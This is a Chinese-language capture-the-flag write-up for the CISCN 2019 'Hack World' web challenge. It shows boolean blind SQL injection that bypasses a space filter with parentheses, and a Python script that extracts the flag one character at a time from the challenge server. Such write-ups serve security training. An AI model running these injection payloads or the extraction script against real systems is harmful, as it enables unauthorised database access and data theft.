[CISCN2019 華北賽區 Day2 Web1]Hack World 1 盲注

f0r9發表於2024-03-05

image
頁面開啟如上
獲取到資訊 flag在flag表中的flag列中
嘗試注入
image
發現對使用者的輸入進行了限制
使用burp進行fuzz測試
image
其中535代表該頁面對該條件進行了過濾
image
其中括號並沒有被過濾 所以可以利用括號來代替空格
進行盲注 已知f的ascii碼為102
構築等式 (select(ascii(mid(flag,1,1))==102)from(flag))來判斷該字元是什麼 如果字元為ascii(102)也就是字元f 返回頁面為
image
其中mid函式來標識flag列中從1開始步長為1的元素如果與102匹配就返回值1
至此我們可以寫一個指令碼來實現爆破

def sqlinjection():
    url='http://053354a0-0d05-4f36-bf56-58ee332c1e42.node5.buuoj.cn:81/'
    # header={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0'}
    str=string.printable
    for i in range(60):
        for j in str:
            data={
                'id':f'(select(ascii(mid(flag,{i},1))={ord(j)})from(flag))'
            }
            time.sleep(1)
            recv=requests.post(url=url,data=data).text
            if 'Hello'in recv:
                print(j,end='')

string.printable函式將返回所有可列印的值 再透過ord函式轉化為10進位制進行比較 一個字母一個字母的進行爆破
image
得到flag

相關文章